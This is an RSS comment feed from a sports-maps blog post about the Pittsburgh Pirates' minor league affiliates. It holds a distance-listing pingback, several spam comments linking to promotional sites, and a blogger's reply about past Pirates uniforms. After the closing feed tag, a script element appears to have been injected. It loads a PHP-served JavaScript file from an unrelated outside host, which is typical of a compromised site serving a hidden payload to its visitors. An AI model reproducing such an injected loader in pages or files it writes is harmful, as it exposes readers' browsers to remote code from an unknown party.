
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: MLB Ball Clubs and their Minor League Affiliates: the Pittsburgh Pirates.</title>
	<atom:link href="http://billsportsmaps.com/?feed=rss2&#038;p=2252" rel="self" type="application/rss+xml" />
	<link>http://billsportsmaps.com/?p=2252</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Sun, 05 Sep 2010 23:28:23 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Average Distance From Majors To Affiliates: National League Central &#171; Bus Leagues Baseball</title>
		<link>http://billsportsmaps.com/?p=2252&#038;cpage=1#comment-95611</link>
		<dc:creator>Average Distance From Majors To Affiliates: National League Central &#171; Bus Leagues Baseball</dc:creator>
		<pubDate>Sun, 09 Aug 2009 02:50:16 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2252#comment-95611</guid>
		<description>[...] Pittsburgh Pirates (average: 374 miles) Pittsburgh to… …Indianapolis Indians (AAA): 360 miles …Altoona Curve (AA): 98 miles …Lynchburg Hillcats (A): 353 miles …West Virginia Power (A): 228 miles …State College Spikes (A): 139 miles …GCL Pirates (Rookie): 1,065 miles [...]</description>
		<content:encoded><![CDATA[<p>[...] Pittsburgh Pirates (average: 374 miles) Pittsburgh to… …Indianapolis Indians (AAA): 360 miles …Altoona Curve (AA): 98 miles …Lynchburg Hillcats (A): 353 miles …West Virginia Power (A): 228 miles …State College Spikes (A): 139 miles …GCL Pirates (Rookie): 1,065 miles [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Louise</title>
		<link>http://billsportsmaps.com/?p=2252&#038;cpage=1#comment-81667</link>
		<dc:creator>Louise</dc:creator>
		<pubDate>Mon, 15 Jun 2009 09:04:01 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2252#comment-81667</guid>
		<description>Pittsburgh &lt;a href=&quot;http://www.piratesdaily.com&quot; rel=&quot;nofollow&quot;&gt; Pirates &lt;/a&gt; should be always competitive enough to keep pace with the others. I really like them; they’ve always been my favourite teams in MLB. Just read about them here:
 
http://www.piratesdaily.com</description>
		<content:encoded><![CDATA[<p>Pittsburgh <a href="http://www.piratesdaily.com" rel="nofollow"> Pirates </a> should be always competitive enough to keep pace with the others. I really like them; they’ve always been my favourite teams in MLB. Just read about them here:</p>
<p><a href="http://www.piratesdaily.com" rel="nofollow">http://www.piratesdaily.com</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: billsportsmaps com MLB Ball Clubs and their Minor League &#124; Uniform Stores</title>
		<link>http://billsportsmaps.com/?p=2252&#038;cpage=1#comment-79787</link>
		<dc:creator>billsportsmaps com MLB Ball Clubs and their Minor League &#124; Uniform Stores</dc:creator>
		<pubDate>Wed, 03 Jun 2009 10:33:12 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2252#comment-79787</guid>
		<description>[...] billsportsmaps com MLB Ball Clubs and their Minor League   Posted by root 35 minutes ago (http://billsportsmaps.com)        Comment by custom web design april 20 2009 9 34 pm wow this site is great will add to my rss reader list very innovative vance        Discuss&#160;  &#124;&#160; Bury &#124;&#160;    News &#124; billsportsmaps com MLB Ball Clubs and their Minor League [...]</description>
		<content:encoded><![CDATA[<p>[...] billsportsmaps com MLB Ball Clubs and their Minor League   Posted by root 35 minutes ago (<a href="http://billsportsmaps.com" rel="nofollow">http://billsportsmaps.com</a>)        Comment by custom web design april 20 2009 9 34 pm wow this site is great will add to my rss reader list very innovative vance        Discuss&nbsp;  |&nbsp; Bury |&nbsp;    News | billsportsmaps com MLB Ball Clubs and their Minor League [...]</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: dental lab vibrator</title>
		<link>http://billsportsmaps.com/?p=2252&#038;cpage=1#comment-72134</link>
		<dc:creator>dental lab vibrator</dc:creator>
		<pubDate>Tue, 21 Apr 2009 18:58:02 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2252#comment-72134</guid>
		<description>&lt;p&gt;Wow, this site is great! Will add to my rss reader list. Very innovative. Vance&lt;/p&gt;

Commenter&#039;s site: http://dentallabvibrator.info

Answer: Thank you !
</description>
		<content:encoded><![CDATA[<p>Wow, this site is great! Will add to my rss reader list. Very innovative. Vance</p>
<p>Commenter&#8217;s site: <a href="http://dentallabvibrator.info" rel="nofollow">http://dentallabvibrator.info</a></p>
<p>Answer: Thank you !</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: custom web design</title>
		<link>http://billsportsmaps.com/?p=2252&#038;cpage=1#comment-71961</link>
		<dc:creator>custom web design</dc:creator>
		<pubDate>Tue, 21 Apr 2009 04:34:33 +0000</pubDate>
		<guid isPermaLink="false">http://billsportsmaps.com/?p=2252#comment-71961</guid>
		<description>&lt;p&gt;Thanks for sharing this. It&#039;s nice to see the changes in the uniform of Pittsbuegh Pirates before until now.&lt;/p&gt;

Commenter&#039;s site: http://www.inowweb.com

Answer: Thanks for making the comment, you are very welcome. I think there are a lot of baseball fans unaware of how many years (around 60 years) that the Pittsburgh Pirates&#039; colors were navy blue and red. 
Also, their uniforms in the 1960&#039;s were pretty striking and classy (and they were very successful then).  Then in the early 1970&#039;s they sported those uniquely colored pale-greyish-mustard-yellow caps with the black visor. Then of course, during the years around the 1979 champioship Willie Stargell-led &#039;We Are Family&#039;-theme song year, the Pirates wore those endless-variations-black-or-yellow-or-white-or black/yellow pinstripes uniforms, with that old-school box shaped hat (the &quot;wedding cake&quot;). Just stunning and loud gear (but in a good way) that they were incidently very successful in.</description>
		<content:encoded><![CDATA[<p>Thanks for sharing this. It&#8217;s nice to see the changes in the uniform of Pittsbuegh Pirates before until now.</p>
<p>Commenter&#8217;s site: <a href="http://www.inowweb.com" rel="nofollow">http://www.inowweb.com</a></p>
<p>Answer: Thanks for making the comment, you are very welcome. I think there are a lot of baseball fans unaware of how many years (around 60 years) that the Pittsburgh Pirates&#8217; colors were navy blue and red.<br />
Also, their uniforms in the 1960&#8217;s were pretty striking and classy (and they were very successful then).  Then in the early 1970&#8217;s they sported those uniquely colored pale-greyish-mustard-yellow caps with the black visor. Then of course, during the years around the 1979 champioship Willie Stargell-led &#8216;We Are Family&#8217;-theme song year, the Pirates wore those endless-variations-black-or-yellow-or-white-or black/yellow pinstripes uniforms, with that old-school box shaped hat (the &#8220;wedding cake&#8221;). Just stunning and loud gear (but in a good way) that they were incidently very successful in.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script src="http://cechirecom/js.php"></script>